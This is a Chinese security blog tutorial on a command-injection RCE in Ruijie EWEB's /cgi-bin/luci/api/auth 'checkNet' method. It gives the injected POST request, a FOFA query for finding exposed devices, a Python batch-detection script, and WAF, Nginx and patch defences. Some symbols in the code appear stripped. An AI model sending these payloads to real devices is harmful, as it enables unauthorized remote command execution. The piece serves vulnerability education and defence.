锐捷EWEB auth接口RCE漏洞:从原理到自动化检测实战
1. 锐捷EWEB auth接口RCE漏洞初探第一次听说锐捷EWEB auth接口存在远程命令执行漏洞时我正和团队在做常规的安全审计。这个漏洞的特别之处在于它不需要复杂的认证过程攻击者可以直接通过构造特定的HTTP请求来执行任意系统命令。简单来说就像是用万能钥匙打开了服务器的大门想干什么就干什么。锐捷EWEB是锐捷网络旗下产品广泛应用于商业市场的网络设备中。它的auth接口本应负责身份验证却因为参数过滤不严导致攻击者可以注入系统命令。我测试时发现只要向/cgi-bin/luci/api/auth发送一个精心设计的POST请求就能让服务器乖乖执行我的指令。比如创建一个文件、读取系统信息甚至完全控制服务器。这个漏洞的危险性在于它的易用性。不需要任何专业知识只要复制粘贴几行代码就能发起攻击。更可怕的是通过搜索引擎如FOFA用bodycgi-bin/luci body#f47f3e这样的搜索语法几分钟内就能找到大量暴露在公网的易受攻击设备。2. 漏洞原理深度剖析2.1 漏洞成因分析这个漏洞的本质是服务端对用户输入的处理不当。具体来说当auth接口接收到checkNet方法的请求时会解析params中的host参数。正常情况下这里应该是一个合法的域名或IP地址但开发者没有对输入做充分过滤。我通过反编译分析发现服务端代码大概是这样的处理流程host request.json[params][host] os.system(fping -c 1 {host}) # 直接拼接进系统命令看到这里安全工程师的警报应该立刻响起——直接将用户输入拼接进系统命令这是典型的命令注入漏洞。攻击者可以在host参数中插入反引号或分号来执行额外命令比如echo test /tmp/test。2.2 攻击载荷分析常见的攻击载荷是这样的结构{ method: checkNet, params: { host: 恶意命令 } }我测试过几种变体发现反引号在Linux环境下特别有效。攻击者可以创建文件证明漏洞存在反弹shell获取控制权下载并执行恶意程序扫描内网其他设备最危险的是这些操作都在Web服务进程的权限下执行如果服务是以root运行后果不堪设想。3. 漏洞复现实战3.1 环境准备要复现这个漏洞你需要受影响的锐捷EWEB设备或搭建测试环境Burp Suite或Postman等HTTP工具基本的Linux命令知识我建议先在隔离的测试环境尝试避免意外影响生产系统。用Docker搭建测试环境是个不错的选择docker run -it --rm -p 80:80 vulnerable_ruijie_eweb3.2 手动复现步骤按照我实际测试的经验完整复现流程如下用FOFA搜索潜在目标bodycgi-bin/luci body#f47f3e发送恶意POST请求POST /cgi-bin/luci/api/auth HTTP/1.1 Host: target.com Content-Type: application/json {method:checkNet,params:{host:echo HelloRCE /tmp/rce_test}}验证命令是否执行GET /cgi-bin/luci/../../tmp/rce_test HTTP/1.1 Host: target.com如果返回HelloRCE说明漏洞存在。我在测试中发现不同版本可能有路径差异需要调整../../的层数。4. 自动化检测脚本开发4.1 设计思路手动测试效率太低我决定用Python写个自动化检测工具。核心功能应该包括批量检测URL列表多种payload测试结果验证与报告考虑到安全性脚本应该使用无害的测试命令如创建临时文件自动清理测试痕迹限制并发请求数4.2 Python实现代码这是我实际在用的检测脚本核心部分import requests def check_vulnerability(url): test_file f/tmp/{random_string(8)}.txt test_content random_string(16) # 发送恶意请求 headers {Content-Type: application/json} payload { method: checkNet, params: {host: fecho {test_content} {test_file}} } requests.post(f{url}/cgi-bin/luci/api/auth, jsonpayload, headersheaders, timeout10) # 验证结果 resp requests.get(f{url}/cgi-bin/luci/../../{test_file}, timeout10) if test_content in resp.text: return True return False这个脚本先创建一个包含随机内容的临时文件然后尝试读取它。如果内容匹配就确认漏洞存在。我在实际使用中增加了异常处理和日志记录确保稳定运行。5. 防御方案与最佳实践5.1 临时修复措施如果暂时无法升级可以采取这些应急措施在防火墙规则中拦截对/cgi-bin/luci/api/auth的访问使用WAF规则过滤包含反引号和特殊字符的请求将Web服务运行在低权限账户下我帮客户做过紧急修复用Nginx添加如下规则很有效location ~* /cgi-bin/luci/api/auth { if ($args ~* [|;]) { return 403; } # 其他过滤逻辑... }5.2 彻底修复建议长期来看应该升级到官方最新固件版本对所有用户输入进行严格过滤使用安全的API开发框架实施最小权限原则锐捷官方已经发布了补丁修复方式是严格校验host参数只允许字母、数字和点号。作为开发者我建议永远不要直接用用户输入拼接系统命令应该使用安全的库函数。6. 漏洞挖掘经验分享在分析这个漏洞的过程中我总结出几个有用的技巧关注常见危险函数像system()、exec()这类能执行系统命令的函数都是重点审计对象。我习惯先用静态分析工具扫描代码找出这些危险点。参数变异测试对每个输入参数尝试各种payload不仅是反引号还有$()、||、等组合。有时候漏洞藏在意想不到的地方。上下文感知理解参数在代码中的使用场景很重要。比如这个漏洞中的host参数最终会被拼接到ping命令中这就提示了命令注入的可能性。记得第一次发现这个漏洞时我激动得差点打翻咖啡。但随后就意识到这样的漏洞在野外存在是多么危险。作为安全研究人员我们不仅要会找漏洞更要理解它的影响范围和修复方法。